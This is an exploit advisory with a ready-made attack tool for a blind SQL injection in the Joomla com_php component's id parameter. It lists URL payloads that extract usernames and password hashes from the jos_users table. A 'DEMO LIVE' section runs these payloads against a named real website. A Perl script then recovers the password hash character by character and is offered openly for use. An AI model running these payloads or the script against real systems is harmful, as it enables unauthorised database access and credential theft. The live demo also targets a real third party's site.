------------------------------------------------------------------------------
Joomla Component com_php (id) Blind SQL-injection Vulnerability
------------------------------------------------------------------------------
#####################################################
# [+] Author : Chip D3 Bi0s #
# [+] Email : chipdebios[alt+64]gmail.com #
# [+] Vulnerability : Blind SQL injection #
# [+] Group : LatinHackTeam #
#####################################################
**********************************************************************
Info Cms:
* @name : PHP Component
* @author : gabe@fijiwebdesign.com
* @copyright : (c) fijiwebdesign.com
* @license : http://www.fijiwebdesign.com/
* @dowloand : http://code.google.com/p/joomla-php/downloads/list
**********************************************************************
Example:
http://localHost/path/index.php?option=com_php&Itemid=x&id=y<Sql Code>
x = number Itemid valid
y = number id valid
<Sql code>:
table jos_users:
+and+(select+1+from+jos_users+limit+0,1)=1
column password:
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1
column username:
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1
caracter ascii
+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))>57
etc, etc...
DEMO LIVE:
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=1
true
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=2
else
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=58
else
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=57
true
note : in http://www.mercadominas.com.br
x = number Itemid valid : 70
y = number id valid : 131
Date and 1=1 & not and 1=2 : com_search --->use script
etc, etc....
+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
if you want to save the work, you can use the following script,
gives you password, you are free to modify it ;)
--------------------------------------------------------------------
#!/usr/bin/perl -w
use LWP::UserAgent;
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t | Chip d3 Bi0s | \n\n";
print "\t\t Joomla Component com_php (id) Blind SQL-injection \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "[-] http://wwww.host.org/Path: ";
chomp(my $target=<STDIN>);
print "[-] Introduce Itemid: ";
chomp($itemid=<STDIN>);
print "[-] Introduce id: ";
chomp($id=<STDIN>);
print "[-] Dato para and 1=1 & no para and 1=2 : ";
chomp($z=<STDIN>);
print "[+] Password: ";
$column_name="concat(password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
for ($x=1;$x<=32;$x++)
{
for ($c=48;$c<=57;$c++)
{
$host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $z;
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
}
for ($c=97;$c<=102;$c++)
{
$host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $z;
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
}
}
